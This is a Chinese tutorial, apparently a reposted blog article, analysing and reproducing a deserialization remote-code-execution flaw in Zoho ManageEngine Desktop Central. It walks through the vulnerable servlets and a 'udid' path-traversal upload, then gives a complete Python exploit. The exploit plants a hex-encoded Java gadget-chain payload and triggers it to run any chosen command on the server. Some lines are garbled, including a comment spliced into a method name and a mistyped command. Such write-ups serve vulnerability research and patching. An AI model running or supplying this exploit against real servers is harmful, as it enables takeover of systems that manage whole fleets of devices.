怎么分析和复现Zoho ManageEngine RCE 漏洞,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
漏洞简介
Zoho企业的产品Zoho ManageEngine Desktop Central是Windows系统上运行的一种端点管理解决方案,可被用于管理网络设备,例如手机、Linux服务器、Windows工作站等,发挥推送更新、控制访问权限的功能。
今年,安全人员 steventseeley 发现此产品存在反序列化RCE漏洞。核心利用方式是控制udid和filename参数达到改变待上传、嵌入恶意指令的已序列化文件路径和类型的目标,便于在访问此文件时通过反序列化方式读取文件内容,从而触发恶意代码执行。
受影响产品
Zoho ManageEngine Desktop Central
受影响版本
version< 10.0.473
修复版本
version>=10.0.479
漏洞验证环境
-
Windows 7(安装Zoho ManageEngine Desktop Central 10.0.465 x64版本的服务器)
-
Windows 10(攻击机)
-
Python2.7
漏洞分析
需要确定此产品的序列化和反序列化位置,以便传递序列化的恶意文件,并通过反序列化触发恶意代码执行。
首先确定反序列化位置。发现CewolfServlet应用功能包含反序列化功能,开展具体分析。进入WEB服务目录DesktopCentral_Server/webapps/DesktopCentral/WEB-INF/,打开web.xml 文件,发现名为 CewolfServlet 的 servlet,如下。
<servlet> <servlet-name>CewolfServlet</servlet-name> <servlet-class>de.laures.cewolf.CewolfRenderer</servlet-class> <init-param> <param-name>debug</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>overliburl</param-name> <param-value>/js/overlib.js</param-value> </init-param> <init-param> <param-name>storage</param-name> <param-value>de.laures.cewolf.storage.FileStorage</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet>
分析可知,此 servlet 涉及的类是 de.laures.cewolf.CewolfRenderer
(所在jar包是DesktopCentral_Server/lib/cewolf-1.2.4.jar),初始化的 java 文件有de.laures.cewolf.storage.FileStorage。进入de.laures.cewolf.CewolfRenderer 类开展分析,如下。
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { if (debugged) { this.logRequest(request); } this.addHeaders(response); if (request.getParameter("state") == null && request.getParameterNames().hasMoreElements()) { int width = 400; int height = 400; boolean removeAfterRendering = false; if (request.getParameter("removeAfterRendering") != null) { removeAfterRendering = true; } if (request.getParameter("width") != null) { width = Integer.parseInt(request.getParameter("width")); } if (request.getParameter("height") != null) { height = Integer.parseInt(request.getParameter("height")); } if (!renderingEnabled) { this.renderNotEnabled(response, 400, 50); } else if (width <= this.config.getMaxImageWidth() && height <= this.config.getMaxImageHeight()) { // 可控的输入参数 String imgKey = request.getParameter("img"); if (imgKey == null) { this.logAndRenderException(new ServletException("no 'img' parameter provided for Cewolf servlet."), response, width, height); } else { Storage storage = this.config.getStorage(); // 调用getChartImage函数 ChartImage chartImage = storage.getChartImage(imgKey, request); if (chartImage == null) { this.renderImageExpiry(response, 400, 50); } else { requestCount.incrementAndGet(); try { long start = System.currentTimeMillis(); int size = chartImage.getSize(); response.setContentType(chartImage.getMimeType()); response.setContentLength(size); response.setBufferSize(size); response.setStatus(200); response.getOutputStream().write(chartImage.getBytes()); long last = System.currentTimeMillis() - start; if (debugged) { this.log("creation time for chart " + imgKey + ": " + last + "ms."); } } catch (Throwable var22) { this.logAndRenderException(var22, response, width, height); } finally { if (removeAfterRendering) { try { storage.removeChartImage(imgKey, request); } catch (CewolfException var21) { this.log("Removal of image failed", var21); } } } } } } else { this.renderImageTooLarge(response, 400, 50); } } else { this.requestState(response); } }
分析可知,img 是可控的参数,且会被 getChartImage 方法调用,此方法属于初始的参数文件 de.laures.cewolf.storage.FileStorage,如下。
public ChartImage getChartImage(String id, HttpServletRequest request) { ChartImage res = null; ObjectInputStream ois = null; try { // 根据“img”参数读取对应的文件 ois = new ObjectInputStream(new FileInputStream(this.getFileName(id))); // 反序列化位置 res = (ChartImage)ois.readObject(); ois.close(); } catch (Exception var15) { var15.printStackTrace(); } finally { if (ois != null) { try { ois.close(); } catch (IOException var14) { var14.printStackTrace(); } } } return res; } private String getFileName(String id) { // 修改了路径信息 return this.basePath + "_chart" + id; }
分析可知,此方法包含反序列化功能,调用 getFileName 方法修改了存储路径信息。
总结一下,读取文件时,需要注意文件被保存至包含 “_chart” 字段的路径中。
现在确定序列化的位置。在 web.xml 中找到一个上传功能的 servlet,如下。
<servlet> <!-- 一处上传点--> <servlet-name>MDMLogUploaderServlet</servlet-name> <servlet-class>com.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet</servlet-class> </servlet>
进入 com.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet 类中,关键部分如下。
public void doPost(HttpServletRequest request, HttpServletResponse response, DeviceRequest deviceRequest) throws ServletException, IOException { Reader reader = null; PrintWriter printWriter = null; this.logger.log(Level.WARNING, "Received Log from agent"); Long nDataLength = (long)request.getContentLength(); this.logger.log(Level.WARNING, "MDMLogUploaderServlet : file conentent lenght is {0}", nDataLength); this.logger.log(Level.WARNING, "MDMLogUploaderServlet :Acceptable file conentent lenght is {0}", this.acceptedLogSize); try { if (nDataLength <= this.acceptedLogSize) { String initiatedBy = request.getParameter("initiatedBy"); // 可控的参数 String udid = request.getParameter("udid"); String platform = request.getParameter("platform"); // 可控的参数 String fileName = request.getParameter("filename"); HashMap deviceMap = MDMUtil.getInstance().getDeviceDetailsFromUDID(udid); if (deviceMap != null) { this.customerID = (Long)deviceMap.get("CUSTOMER_ID"); this.deviceName = (String)deviceMap.get("MANAGEDDEVICEEXTN.NAME"); this.domainName = (String)deviceMap.get("DOMAIN_NETBIOS_NAME"); this.resourceID = (Long)deviceMap.get("RESOURCE_ID"); this.platformType = (Integer)deviceMap.get("PLATFORM_TYPE"); } else { this.customerID = 0L; this.deviceName = "default"; this.domainName = "default"; } if (initiatedBy != null && initiatedBy.equals(this.fromUser)) { JSONObject jsonObject = new JSONObject(request.getParameter("extraData")); String issueType = jsonObject.getString("IssueType"); String issueDescription = jsonObject.getString("IssueDescription"); String fromAddress = jsonObject.getString("EmailId"); String outputFileName = MDMApiFactoryProvider.getMdmCompressAPI().getSupportFileName() + ".zip"; String toAddress = ProductUrlLoader.getInstance().getValue("supportmailid"); String ticketID = jsonObject.getString("TicketId"); ticketID = ticketID.trim().equals("") ? "NA" : ticketID.trim(); Boolean status = this.downloadUserSupportFile(fileName, udid, request, response); if (status) { status = this.zipProcess(fileName, outputFileName, udid, request, response); } if (status) { this.doUpload(outputFileName, fromAddress, toAddress, issueType, issueDescription, ticketID); } File resourceDir = new File(ApiFactoryProvider.getUtilAccessAPI().getServerHome() + File.separator + "logsFromUser" + File.separator + this.resourceID); if (resourceDir.exists()) { FileUtils.deleteDirectory(resourceDir); } if (!status) { this.logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload due to failure to download/zipping/upload issue"); response.sendError(403, "Request Refused"); } return; } if (CustomerInfoUtil.getInstance().isSAS()) { this.downloadSupportFileCloud(fileName, udid, request, response); } else { this.downloadSupportFile(fileName, udid, request, response); } SupportFileCreation supportFileCreation = SupportFileCreation.getInstance(); supportFileCreation.incrementMDMLogUploadCount(); JSONObject deviceDetails = new JSONObject(); deviceDetails.put("platform_type_id", this.platformType); deviceDetails.put("device_id", this.resourceID); deviceDetails.put("device_name", this.deviceName); supportFileCreation.removeDeviceFromList(deviceDetails); if (CustomerInfoUtil.getInstance().isSAS()) { GroupEventNotifier.getInstance().actionCompleted(Long.parseLong(String.valueOf(this.resourceID)), "MDM_AGENT_LOG_UPLOAD"); } return; } this.logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload as the file conentent lenght is {0}", nDataLength); response.sendError(403, "Request Refused"); } catch (Exception var30) { this.logger.log(Level.WARNING, "Exception ", var30); return; } finally { if (reader != null) { try { ((Reader)reader).close(); } catch (Exception var29) { var29.fillInStackTrace(); } } } } public void downloadSupportFile(String fileName, String udid, HttpServletRequest request, HttpServletResponse response) throws Exception { String baseDir = System.getProperty("server.home"); this.deviceName = this.removeInvalidCharactersInFileName(this.deviceName); // udid参数值参与到文件保存路径的拼接任务中 String localDirToStore = baseDir + File.separator + "mdm-logs" + File.separator + this.customerID + File.separator + this.deviceName + "_" + udid; File file = new File(localDirToStore); if (!file.exists()) { file.mkdirs(); } this.logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{localDirToStore}); fileName = fileName.toLowerCase(); // 单纯对filename参数信息进行约束,允许后缀是“log|txt|zip|7z” if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z")) { this.logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload {0}", fileName); response.sendError(403, "Request Refused"); } else { String absoluteFileName = localDirToStore + File.separator + fileName; this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[]{fileName}); InputStream in = null; FileOutputStream fout = null; try { in = request.getInputStream(); fout = new FileOutputStream(absoluteFileName); byte[] bytes = new byte[10000]; int i; while((i = in.read(bytes)) != -1) { fout.write(bytes, 0, i); } fout.flush(); } catch (Exception var16) { var16.printStackTrace(); } finally { if (fout != null) { fout.close(); } if (in != null) { in.close(); } } } } public void downloadSupportFileCloud(String fileName, String udid, HttpServletRequest request, HttpServletResponse response) throws Exception { String cloudBaseDir = "support"; // udid参数值参与到文件保存路径的拼接任务中 String dfsDirToStore = cloudBaseDir + File.separator + "mdm-logs" + File.separator + this.customerID + File.separator + this.deviceName + "_" + udid; this.logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{dfsDirToStore}); fileName = fileName.toLowerCase(); if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z")) { this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0}", fileName); response.sendError(403, "Request Refused"); } else { String absoluteFileName = dfsDirToStore + File.separator + fileName; this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[]{fileName}); InputStream in = null; OutputStream fout = ApiFactoryProvider.getFileAccessAPI().writeFile(absoluteFileName); try { in = request.getInputStream(); byte[] bytes = new byte[10000]; int i; while((i = in.read(bytes)) != -1) { fout.write(bytes, 0, i); } fout.flush(); } catch (Exception var15) { this.logger.log(Level.SEVERE, "Error : " + var15); } finally { if (in != null) { in.close(); } if (fout != null) { fout.close(); } } } }
结合注释分析可知,存在可控的 udid 参数和 filename 参数,共同参与到文件的上传路径组建工作中。Udid 没有任何约束条件。filename 的约束条件核心代码如下。
public static boolean hasVulner Udid 没有过来约束条件 abilityInFileName(String fileName, String allowedFileExt) { return isContainDirectoryTraversal(fileName) || isCompletePath(fileName) || !isValidFileExtension(fileName, allowedFileExt); } //参数是否是合法的后缀 public static boolean isValidFileExtension(String fileName, String fileExtPattern) { if (fileName.indexOf("/u0000") != -1) { fileName = fileName.substring(0, fileName.indexOf("/u0000")); } fileExtPattern = fileExtPattern.replaceAll("//s+", "").toLowerCase(); String regexFileExtensionPattern = "([^//s]+(//.(?i)(" + fileExtPattern + "))$)"; Pattern pattern = Pattern.compile(regexFileExtensionPattern); Matcher matcher = pattern.matcher(fileName.toLowerCase()); return matcher.matches(); } //参数是否存在目录穿越风险 private static boolean isContainDirectoryTraversal(String fileName) { return fileName.contains("/") || fileName.contains("//"); } //参数是否是绝对值路径 private static boolean isCompletePath(String fileName) { String regexFileExtensionPattern = "([a-zA-Z]:[// //// / //].*)"; Pattern pattern = Pattern.compile(regexFileExtensionPattern); Matcher matcher = pattern.matcher(fileName); return matcher.matches(); } <url path="/mdm/mdmLogUploader" apiscope="MDMCloudEnrollment" authentication="required" duration="60" threshold="10" lock-period="60" method="post" csrf="false"> <param name="platform" regex="ios|android"/> <!-- 限制filename参数的名称只能是“logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip”--> <param name="filename" regex="logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip"/> <param name="uuid" regex="safestring"/> <param name="udid" regex="udid"/> <param name="erid" type="long"/> <param name="authtoken" regex="apikey" secret="true"/> <param name="SCOPE" regex="scope" /> <param name="encapiKey" regex="encapiKey" max-len="200" /> <param name="initiatedBy" regex="safestring"/> <param name="extraData" type="JSONObject" template="supportIssueDetailsJson" max-len="2500"/> </url>
分析可知,filename 存在扩展名、目录验证等约束条件,且限制名称只能是 “logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip”,所以将关键的目录篡改配置存储于udid中。
综上,在序列化上传过程中,可设置 udid 为aaa/../../../webapps/DesktopCentral/_chart,filename为 logger.zip,从而绕过当前所有约束条件。
观察可知服务端存在 commons-collections.jar(3.1)、commons-beanutils-1.8.0.jar,因此可利用对应的反序列化功能完成漏洞利用任务。
漏洞利用
POC及注释信息如下:
#!/usr/bin/env python3 import os import sys import struct import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def _get_payload(c): p = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594" p += "da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400" p += "164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200" p += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265" p += "616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d706172" p += "61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e" p += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e" p += "732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172" p += "61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75" p += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e" p += "6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e" p += "747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d" p += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00" p += "0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a" p += "6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f" p += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072" p += "6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767" p += "db37020000787000000002757200025b42acf317f8060854e002000078700000" p += "069bcafebabe0000003200390a00030022070037070025070026010010736572" p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75" p += "6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465" p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162" p += "6c655461626c6501000474686973010013537475625472616e736c6574506179" p += "6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c" p += "2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73" p += "6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f" p += "73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873" p += "6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c" p += "2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469" p += "6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73" p += "756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c" p += "74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f" p += "72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65" p += "722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074" p += "696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78" p += "616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e" p += "2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d" p += "417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865" p += "2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69" p += "7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63" p += "6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64" p += "746d2f44544d417869734974657261746f723b01000768616e646c6572010041" p += "4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c" p += "2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572" p += "3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a" p += "000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f" p += "4761646765747324537475625472616e736c65745061796c6f6164010040636f" p += "6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f" p += "78736c74632f72756e74696d652f41627374726163745472616e736c65740100" p += "146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f" p += "6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f" p += "5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061" p += "796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100" p += "116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469" p += "6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a" p += "002b002e01000708003001000465786563010027284c6a6176612f6c616e672f" p += "537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033" p += "0a002b003401000d537461636b4d61705461626c6501001d79736f7365726961" p += "6c2f50776e6572373633323838353835323036303901001f4c79736f73657269" p += "616c2f50776e657237363332383835383532303630393b002100020003000100" p += "040001001a000500060001000700000002000800040001000a000b0001000c00" p += "00002f00010001000000052ab70001b100000002000d0000000600010000002e" p += "000e0000000c000100000005000f003800000001001300140002000c0000003f" p += "0000000300000001b100000002000d00000006000100000033000e0000002000" p += "0300000001000f00380000000000010015001600010000000100170018000200" p += "19000000040001001a00010013001b0002000c000000490000000400000001b1" p += "00000002000d00000006000100000037000e0000002a000400000001000f0038" p += "00000000000100150016000100000001001c001d000200000001001e001f0003" p += "0019000000040001001a00080029000b0001000c00000024000300020000000f" p += "a70003014cb8002f1231b6003557b10000000100360000000300010300020020" p += "00000002002100110000000a000100020023001000097571007e0010000001d4" p += "cafebabe00000032001b0a000300150700170700180700190100107365726961" p += "6c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505" p += "71e669ee3c6d47180100063c696e69743e010003282956010004436f64650100" p += "0f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c65" p += "5461626c6501000474686973010003466f6f01000c496e6e6572436c61737365" p += "730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f476164" p += "6765747324466f6f3b01000a536f7572636546696c6501000c47616467657473" p += "2e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f61" p += "64732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f" p += "4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f" p += "79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747300" p += "2100020003000100040001001a00050006000100070000000200080001000100" p += "0a000b0001000c0000002f00010001000000052ab70001b100000002000d0000" p += "000600010000003b000e0000000c000100000005000f00120000000200130000" p += "0002001400110000000a000100020016001000097074000450776e7270770100" p += "7871007e000d78" obj = bytearray(bytes.fromhex(p)) obj[0x240:0x242] = struct.pack(">H", len(c) + 0x694) obj[0x6e5:0x6e7] = struct.pack(">H", len(c)) start = obj[:0x6e7] end = obj[0x6e7:] return start + str.encode(c) + end def we_can_plant_serialized(t, c): # stage 1 - traversal file write primitive uri = "https://%s:8383/mdm/client/v1/mdmLogUploader" % t p = { "udid" : "si//..//..//..//webapps//DesktopCentral//_chart", # 目录穿越 "filename" : "logger.zip" } h = { "Content-Type" : "application/octet-stream" } # 表示二进制类型数据,适用于未知的数据 # 序列化的待执行代码 d = _get_payload(c) r = requests.post(uri, params=p, data=d, verify=False) if r.status_code == 200: return True return False def we_can_execute_cmd(t): # stage 2 - deserialization uri = "https://%s:8383/cewolf/" % t p = { "img" : "//logger.zip" } r = requests.get(uri, params=p, verify=False) if r.status_code == 200: return True return False def main(): if len(sys.argv) != 3: print("(+) usage: %s <target> <cmd>" % sys.argv[0]) print("(+) eg: %s 172.16.175.153 mspaint.exe" % sys.argv[0]) sys.exit(1) t = sys.argv[1] c = sys.argv[2] if we_can_plant_serialized(t, c): print("(+) planted our serialized payload") if we_can_execute_cmd(t): print("(+) executed: %s" % c) if __name__ == "__main__": main()
执行脚本命令 python 服务端ip calc,在服务端命令行输入
tasklist | findestr “calc”
出现如下结果,说明漏洞利用成功。
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。
原创文章,作者:carmelaweatherly,如若转载,请注明出处:https://blog.ytso.com/tech/safety/220330.html